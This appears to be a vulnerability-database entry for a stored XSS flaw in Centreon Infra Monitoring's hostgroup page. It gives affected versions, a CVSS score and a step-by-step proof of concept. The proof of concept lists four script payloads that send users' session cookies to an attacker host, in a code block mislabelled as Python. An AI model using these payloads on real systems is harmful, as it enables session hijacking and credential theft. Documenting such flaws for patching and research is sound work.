CVE-2025-54890

Description

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Centreon Infra Monitoring (Hostgroup configuration page) allows Stored XSS by users with elevated privileges.This issue affects Infra Monitoring: from 24.10.0 before 24.10.15, from 24.04.0 before 24.04.19, from 23.10.0 before 23.10.29.

CVSS Details

CVSS Score

6.8

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:* - VULNERABLE

Centreon Infra Monitoring 24.10.0 - 24.10.14

Centreon Infra Monitoring 24.04.0 - 24.04.18

Centreon Infra Monitoring 23.10.0 - 23.10.28

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-54890 PoC - Stored XSS in Centreon Hostgroup Configuration
// Author: Security Researcher
// Target: Centreon Infra Monitoring <= 24.10.14, <= 24.04.18, <= 23.10.28

// Step 1: Authenticate to Centreon with high privilege account (e.g., Admin)
// Step 2: Navigate to Infrastructure > Hosts > Hostgroups
// Step 3: Create new Hostgroup or edit existing one
// Step 4: In the Hostgroup name or description field, inject XSS payload:

const xssPayload = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>';

// Alternative XSS payloads:
// <img src=x onerror="fetch('https://attacker.com/steal?data='+btoa(document.cookie))">
// <svg/onload=fetch('https://attacker.com/exfil?cookie='+document.cookie)>
// <body onload="fetch('https://attacker.com/steal?c='+document.cookie)">

// Step 5: Save the Hostgroup configuration
// Step 6: Any user viewing the Hostgroups list or details will trigger the XSS

// Impact: Session hijacking, credential theft, privilege escalation

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-54890
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-54890
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-54890/
[4] VulDB https://vuldb.com/cve/CVE-2025-54890
[5] https://github.com/centreon/centreon/releases
[6] https://thewatch.centreon.com/latest-security-bulletins-64/cve-2025-54890-centreon-web-medium-severity-5342

Raw JSON Data

JSON

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